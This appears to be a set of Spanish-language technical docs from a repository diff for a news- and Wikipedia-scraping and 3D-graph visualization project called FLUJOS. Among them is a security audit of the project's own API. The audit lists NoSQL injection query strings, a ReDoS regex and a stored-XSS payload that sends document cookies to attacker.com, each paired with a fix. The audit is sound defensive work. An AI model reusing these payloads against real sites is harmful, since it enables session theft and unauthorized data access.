## Documento MongoDB generado (colección `noticias`)
La inserción a MongoDB la hace `pipeline_mongolo.py` (Fase 2), no el scraper directamente. El scraper solo guarda en disco.
```json
{
"_id": ObjectId,
"archivo": "titulo-de-la-noticia.txt",
"tema": "guerra global",
"subtema": "conflictos internacionales",
"texto": "texto limpio de la noticia...",
"fecha": ISODate | null
}
```
---
## Wayback Machine como fallback
```python
def explore_wayback_machine(url, articles_folder):
api_url = f"http://archive.org/wayback/available?url={url}"
data = requests.get(api_url).json()
archive_url = data['archived_snapshots']['closest']['url']
extract_and_save_article(archive_url, articles_folder)
```
Si un medio está caído o bloquea el scraper, intenta obtener la versión más reciente desde archive.org.
---
## Limitaciones conocidas
1. **Renderizado headless lento**`requests-html` usa Pyppeteer/Chromium, ~25 seg/página. Escalar a 20.000 artículos cuesta horas.
2. **Sin respeto a robots.txt** — El scraper no verifica robots.txt. Algunos medios bloquean scraping.
3. **Paywall** — Medios como FT, NYT, WSJ bloquean sin suscripción. El scraper solo obtiene lo que es público.
4. **Traducción de textos largos**`deep-translator` tiene límite de ~5.000 chars por llamada. Textos largos pueden fallar silenciosamente.
5. **Sin fecha de publicación** — Se parsea el título HTML, no los metadatos `<meta property="article:published_time">`. El campo `fecha` suele quedar vacío.
6. **Recursión sin límite de anchura** — Una página con 1.000 links genera 1.000 llamadas recursivas. Puede tardar mucho en sitios grandes.
---
## Dependencias
```
requests
requests-html # HTMLSession + Pyppeteer
beautifulsoup4
html2text
deep-translator # Google Translate API no oficial
PyPDF2
python-docx
openpyxl
transformers # BertTokenizer
tqdm
pymongo
```

View file

@ -0,0 +1,205 @@
# Scraper de Wikipedia — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Archivo:** `FLUJOS_DATOS/WIKIPEDIA/main.py`
**Utilidades:** `FLUJOS_DATOS/WIKIPEDIA/wikipedia_utils.py`
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
---
## Qué hace
Descarga artículos de Wikipedia en español organizados por temas de FLUJOS, los limpia, tokeniza con BERT y los guarda en disco (`.txt`) y MongoDB (`wikipedia`).
---
## Temas y palabras clave
El scraper itera sobre un diccionario de temas con listas de keywords. Para cada keyword hace una búsqueda en la Wikipedia API y descarga los artículos encontrados.
```python
temas = {
"inteligencia y seguridad": [
"inteligencia", "seguridad", "espionaje", "ciberseguridad", "NSA", "FBI", "CIA",
"contraterrorismo", "criptografía", "vigilancia", "hackeo", "ransomware", ...
],
"guerras": [
"guerra", "conflicto", "batalla", "militar", "guerra civil", "intervención militar",
"fuerzas armadas", "ejército", "terrorismo", "crímenes de guerra", ...
],
"corporaciones": [
"empresa", "multinacionales", "mercado bursátil", "BlackRock", "Vanguard",
"fusiones", "adquisiciones", "venture capital", "evasión fiscal", ...
],
"demografía": [
"población", "migración", "natalidad", "urbanización", "refugiados",
"desigualdad", "pobreza", "pandemia", ...
],
"cambio climático": [
"cambio climático", "calentamiento global", "energías renovables",
"deforestación", "emisiones de carbono", "acuerdo de París", ...
],
"organizaciones internacionales": [
"OTAN", "BRICS", "ONU", "Unión Europea", "FMI", "Banco Mundial", ...
],
"gobiernos autoritarios": [
"dictadura", "autoritario", "represión política", "censura", "prisioneros políticos", ...
],
}
```
Cada tema tiene entre 50 y 100 palabras clave. En total son ~500 keywords → cada una genera hasta 50 artículos = **potencial de ~25.000 artículos**.
---
## Flujo de scraping
```
para cada (tema, palabras_clave):
para cada palabra_clave:
buscar_articulos(palabra_clave, max_articulos=50, offset=0)
└── GET https://es.wikipedia.org/w/api.php
action=query, list=search, srsearch={keyword}
para cada titulo encontrado:
if titulo not in titulos_descargados:
contenido = obtener_contenido_wikipedia(titulo)
└── GET https://es.wikipedia.org/w/api.php
action=query, prop=revisions, rvprop=content
guardar en articulos_wikipedia/{titulo_limpio}.txt
titulos_descargados.add(titulo)
offset += 50 # paginación
time.sleep(1) # cortesía hacia la API
```
**Límite de tamaño:** Para cuando `articulos_wikipedia/` supera 100 GB (en la práctica nunca se ha alcanzado).
---
## Limpieza de texto
```python
def limpiar_texto(texto):
texto = texto.lower()
texto = re.sub(r'[^\w\s]', '', texto) # elimina puntuación
palabras = texto.split()
palabras_limpias = [p for p in palabras if p not in stopwords]
return ' '.join(palabras_limpias)
```
Stopwords: lista manual en español (~200 palabras). No usa NLTK en este módulo (sí en pipeline_completo.py).
---
## Tokenización BERT
```python
from transformers import BertTokenizer
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
def TOKENIZER():
archivos = os.listdir('articulos_wikipedia')
for archivo in archivos:
contenido = open(f'articulos_wikipedia/{archivo}').read()
tokens_ids = tokenizer.encode(contenido, add_special_tokens=False)
with open(f'articulos_tokenizados/{archivo}', 'w') as f:
f.write(' '.join(map(str, tokens_ids)))
```
- Modelo BERT: `dccuchile/bert-base-spanish-wwm-cased` (BERT en español de la U. de Chile)
- Truncación: 512 tokens máximo por documento
- Output: archivo `.txt` con IDs numéricos separados por espacios
---
## Limpiar nombre de fichero
```python
def limpiar_nombre_archivo(nombre):
nombre = re.sub(r'[\\/*?:"<>|]', "_", nombre)
return nombre
# Ejemplo: "Guerra_del_Golfo_(1990)" → "Guerra_del_Golfo__1990_"
```
El nombre del fichero es el título del artículo de Wikipedia limpiado. Es también el `archivo` en MongoDB (clave de dedup).
---
## Asignación de tema y subtema
Esta lógica vive en `pipeline_completo.py::asignar_tema_y_subtema()`, no en el scraper. El scraper solo guarda texto; el tokenizador/comparador asigna el tema.
```python
tematicas = {
'inteligencia y seguridad': ['inteligencia', 'ciberseguridad', 'espionaje', ...],
'cambio climático': ['cambio climático', 'desastres naturales', ...],
'guerra global': ['conflictos internacionales', 'guerras civiles', ...],
'demografía y sociedad': ['sobrepoblación', 'migraciones', ...],
'economía y corporaciones': ['economía global', 'corporaciones multinacionales', ...],
}
# Si ningún keyword coincide: tema='otros', subtema='general'
```
---
## Documento MongoDB generado (colección `wikipedia`)
```json
{
"_id": ObjectId,
"archivo": "Guerra_del_Golfo.txt",
"tema": "guerra global",
"subtema": "conflictos internacionales",
"texto": "La Guerra del Golfo fue un conflicto armado...",
"fecha": null // Wikipedia no suele tener fecha de publicación clara
}
```
La inserción usa upsert por `archivo` para deduplicar.
---
## Almacenamiento en disco (ignorado por git)
```
FLUJOS_DATOS/WIKIPEDIA/
├── articulos_wikipedia/ # .gitignore — txt en español por artículo
├── articulos_tokenizados/ # .gitignore — IDs BERT por artículo
├── main.py
├── wikipedia_utils.py
└── docs.txt
```
---
## Ejecución dentro del pipeline maestro
`pipeline_maestro.py` Fase 1 llama:
```bash
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 \
FLUJOS_DATOS/WIKIPEDIA/main.py
```
Desde el directorio `FLUJOS_DATOS/WIKIPEDIA/` para que las rutas relativas (`articulos_wikipedia/`) funcionen.
---
## Limitaciones conocidas
1. **Sin fecha en artículos Wikipedia** — El scraper no extrae la fecha de revisión. El campo `fecha` queda en `null` o vacío en Mongo, lo que rompe los filtros de fecha en la API.
2. **Nombres duplicados potenciales** — Artículos con títulos similares generan el mismo nombre de fichero después de la limpieza.
3. **No hay control de idioma** — Si un keyword es un acrónimo (NSA, CIA), puede devolver artículos en inglés mezclados con los españoles.
4. **Tokenización trunca a 512 tokens** — Artículos largos pierden la segunda mitad para el cálculo de similitud.
5. **Sin rate limiting robusta** — Solo `time.sleep(1)` entre keywords, pero la Wikipedia API tiene un límite de 200 req/s por IP (raramente alcanzado).
---
## Dependencias
```
transformers>=4.45 (BertTokenizer)
tqdm
requests
pymongo
```
BERT (`dccuchile/bert-base-spanish-wwm-cased`) se descarga automáticamente en el primer uso (~500 MB, se cachea en `~/.cache/huggingface/`).

View file

@ -0,0 +1,205 @@
# Informe de Seguridad — FLUJOS
**Fecha:** 2026-04-21
**Auditor:** Análisis de código estático + pruebas manuales en local
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
---
## Resumen ejecutivo
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado **2 vulnerabilidades críticas** explotables ahora mismo, 3 altas y 2 medias.
---
## Vulnerabilidades encontradas
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 5772
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
**Vectores explotables:**
```
GET /api/data?tema[$ne]=nada&nodos=500
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
GET /api/data?tema[$gt]=&nodos=500
→ Equivalente a "todos los documentos donde tema > ''"
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
→ Itera toda la subcolección
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
→ Fuerza error de tipo, puede revelar stack traces en logs
```
**Fix (10 min):**
```javascript
// En FLUJOS_APP.js, justo después de desestructurar req.query:
function sanitizeParam(val) {
if (typeof val !== 'string') return undefined;
return val.trim();
}
const tema = sanitizeParam(req.query.tema);
const subtematica = sanitizeParam(req.query.subtematica);
const palabraClave = sanitizeParam(req.query.palabraClave);
const fechaInicio = sanitizeParam(req.query.fechaInicio);
const fechaFin = sanitizeParam(req.query.fechaFin);
const nodos = sanitizeParam(req.query.nodos);
const complejidad = sanitizeParam(req.query.complejidad);
```
---
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
```
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
```
**Fix (1 línea):**
```javascript
// FLUJOS_APP.js línea 235:
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
```
---
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 9092
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
```javascript
detailPanel.innerHTML = `
<h2>Detalle</h2>
<pre>${content || 'No hay contenido disponible.'}</pre>
`;
```
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
**Fix:**
```javascript
const pre = document.createElement('pre');
pre.textContent = content || 'No hay contenido disponible.';
const h2 = document.createElement('h2');
h2.textContent = 'Detalle';
detailPanel.replaceChildren(h2, pre);
```
---
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
**Archivo:** `FLUJOS_APP.js` línea 72
```javascript
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
```
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
**Fix:**
```javascript
if (palabraClave) {
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
res.status(400).json({ error: 'palabraClave inválida' });
return;
}
// Escapar metacaracteres regex
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
}
```
---
### 🟠 ALTA 3 — Sin rate limiting
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
**Fix:**
```bash
npm install express-rate-limit
```
```javascript
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 60, // 60 peticiones por minuto por IP
standardHeaders: true,
legacyHeaders: false,
}));
```
---
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
---
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
**Fix:**
```javascript
app.use(helmet()); // activa todo por defecto
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
```
---
## Lo que está bien
| Componente | Estado |
|---|---|
| HTTPS con Let's Encrypt | Activo en nginx |
| MongoDB en 127.0.0.1 | No expuesto al exterior |
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
| Helmet CSP básico | Activo |
| No hay SQL injection | BD es MongoDB, no SQL |
| No directory listing en /wiki-images/ | Express static lo rechaza |
| HTTP → HTTPS redirect | Configurado en nginx |
---
## Configuración nginx relevante (theflows.net)
```
/etc/nginx/sites-enabled/theflows.net
├── HTTP :80 → redirect 301 HTTPS
├── HTTPS :443 ssl http2 (Let's Encrypt)
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
```
**Problema:** el backend Node también escucha en `0.0.0.0:3000`, así que nginx solo es un proxy opcional, no obligatorio.
---
## Orden de prioridad de fixes
| # | Vulnerabilidad | Impacto | Esfuerzo |
|---|---|---|---|
| 1 | NoSQL Injection | CRÍTICO | 10 min |
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
| 4 | ReDoS via palabraClave | ALTO | 10 min |
| 5 | Rate limiting | ALTO | 15 min |
| 6 | CSP unsafe-inline | MEDIO | 30 min |
| 7 | Helmet completo | MEDIO | 5 min |

View file

@ -0,0 +1,231 @@
# Visualización JavaScript — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Directorio:** `FLUJOS/VISUALIZACION/public/`
**Backend:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
---
## Arquitectura general
```
theflows.net (nginx)
├── / → archivos estáticos desde VISUALIZACION/public/
└── /api/ → proxy a Node.js :3000
└── GET /api/data?tema=...&nodos=...&complejidad=...
└── MongoDB FLUJOS_DATOS
```
El frontend es **vanilla JS sin framework**, todo en ficheros `.js` planos. Cada vista (`glob-war`, `int-sec`, `climate`, etc.) tiene su propio script de grafo 3D.
---
## Dependencias externas (CDN)
```html
<!-- D3.js v6 — simulación de fuerzas -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
<!-- Three.js r168 — renderer WebGL, Sprite, TextureLoader -->
<script src="https://unpkg.com/three@0.168/build/three.min.js"></script>
<!-- 3d-force-graph — wrapper de Three.js para grafos de fuerza 3D -->
<script src="https://unpkg.com/3d-force-graph"></script>
```
Three.js debe cargarse ANTES de 3d-force-graph o `THREE` no estará disponible globalmente cuando el grafo intente usarlo para los Sprite.
---
## API — Endpoint único
```
GET /api/data
```
Parámetros de query:
| Param | Tipo | Descripción |
|---|---|---|
| `tema` | string (obligatorio) | Tema principal de la consulta |
| `subtematica` | string | Filtro por subtema |
| `palabraClave` | string | Búsqueda `$regex` en campo `texto` |
| `fechaInicio` | `YYYY-MM-DD` | Rango inicio |
| `fechaFin` | `YYYY-MM-DD` | Rango fin |
| `nodos` | int (máx. 500) | Límite de nodos de texto |
| `complejidad` | float | Similitud mínima (%) para los enlaces |
**Respuesta:**
```json
{
"nodes": [
{ "id": "archivo.txt", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "texto" },
{ "id": "imagen.jpg", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "imagen", "image_url": "/wiki-images/tema/img.jpg", "label": "subtema" }
],
"links": [
{ "source": "archivo_A.txt", "target": "archivo_B.txt", "value": 23.45 }
]
}
```
El backend limita imágenes a `floor(nodosLimit / 3)` para no saturar el grafo.
Prefiere `imagenes` (analizadas con Qwen) sobre `imagenes_wiki` (fallback scrapeado).
---
## Estructura de un script de grafo (patrón base)
Todos los scripts (`output_glob_war.js`, `output_int_sec.js`, etc.) siguen el mismo patrón:
```javascript
document.addEventListener('DOMContentLoaded', () => {
const elem = document.getElementById('contenedorContainer');
// 1. Inicializar grafo
const graph = ForceGraph3D()(elem)
.backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
.nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 0 : 2) // 0 = sin esfera para imágenes
.linkColor(() => 'rgba(0,255,80,0.4)')
.onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
.nodeThreeObject(node => { /* Sprite para imágenes */ })
.nodeThreeObjectExtend(false)
.forceEngine('d3')
.d3Force('charge', d3.forceManyBody().strength(-10))
.d3Force('link', d3.forceLink().distance(30).strength(1));
// 2. Fetch de datos
async function getData(paramsObj = {}) { ... }
// 3. Renderizar
async function fetchAndRender() { ... }
// 4. Evento del formulario
document.getElementById('paramForm').addEventListener('submit', e => {
e.preventDefault();
fetchAndRender();
});
// 5. Carga inicial
fetchAndRender();
});
```
---
## Nodos de imagen — THREE.Sprite
Los nodos de tipo `imagen` usan un Sprite de Three.js en lugar de la esfera por defecto:
```javascript
const textureCache = {};
function getTexture(url) {
if (!textureCache[url]) {
textureCache[url] = new THREE.TextureLoader().load(url);
}
return textureCache[url];
}
// En nodeThreeObject:
.nodeThreeObject(node => {
if (node.type !== 'imagen' || !node.image_url) return null;
const texture = getTexture(node.image_url);
texture.colorSpace = THREE.SRGBColorSpace; // corrección de color
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
sprite.scale.set(14, 9, 1); // proporción 14:9 ≈ 16:9
return sprite;
})
.nodeThreeObjectExtend(false) // false = reemplaza la esfera, no la extiende
```
`getTexture` cachea las texturas para no recargar la misma imagen cada vez que el grafo se actualiza.
`depthWrite: false` evita artefactos de z-fighting entre sprites que se superponen.
---
## Archivos por vista
| Vista | HTML | Script |
|---|---|---|
| Index / Home | `index.html` | ninguno (estático) |
| Glob-War | `glob-war.html` | `output_glob_war_pruebas.js` |
| Int-Sec | `int-sec.html` | `output_int_sec.js` |
| Climate | `climate.html` | `climate.js` / `output_climate_pruebas.js` |
| Eco-Corp | `eco-corp.html` | `output_eco_corp_pruebas.js` |
| Popl-Up | `popl-up.html` | `output_popl_up_pruebas.js` / `output_popl_up.js` |
Los ficheros `*_pruebas.js` son la versión en desarrollo activo (son los referenciados en los HTML). Los sin `_pruebas` son versiones anteriores o de referencia.
---
## Formulario de parámetros (sidebar)
```html
<form id="paramForm">
<input type="date" id="fecha_inicio">
<input type="date" id="fecha_fin">
<input type="number" id="nodos" value="100">
<input type="range" id="complejidad" min="1" max="40" value="20">
<input type="text" id="param1"> <!-- palabraClave -->
<input type="color" id="color1"> <!-- sin uso en backend aún -->
<input type="text" id="param2"> <!-- subtematica -->
<input type="color" id="color2"> <!-- sin uso en backend aún -->
<input type="submit" value="Aplicar">
</form>
```
`color1` y `color2` están en el HTML pero el backend los ignora. Están pendientes de implementar para colorear nodos por grupo.
---
## Filtrado client-side de enlaces
Además del filtro de `complejidad` en el backend (`porcentaje_similitud >= X`), el cliente aplica un segundo filtro eliminando enlaces cuyos nodos no existan en la respuesta:
```javascript
const nodeIds = new Set(data.nodes.map(n => n.id));
data.links = data.links.filter(l => nodeIds.has(l.source) && nodeIds.has(l.target));
```
Esto previene errores de 3d-force-graph cuando llegan enlaces a nodos que no se devolvieron por el límite.
---
## Backend Node.js — FLUJOS_APP.js
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
**Puerto:** 3000 (configurado en `.env`)
**Proceso:** gestionado manualmente (falta configurar como systemd service)
Rutas:
```
GET / → glob-war.html (redirige a index.html)
GET /api/data → endpoint de datos
GET /wiki-images/* → estático desde IMAGENES/output/wiki_images/
GET /* → archivos estáticos desde VISUALIZACION/public/
```
La CSP actual (Helmet) permite `unsafe-inline` en scripts — pendiente de corregir (ver SEGURIDAD.md).
---
## Imágenes wiki — ruta física a URL
```
Disco: /var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
Express: app.use('/wiki-images', express.static('.../wiki_images'))
URL: https://theflows.net/wiki-images/{tema_slug}/{archivo}
```
El backend construye `image_url` en el API:
```javascript
const WIKI_IMAGES_BASE = '/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/';
const relativePath = result.image_path.replace(WIKI_IMAGES_BASE, '');
image_url = `/wiki-images/${relativePath}`;
```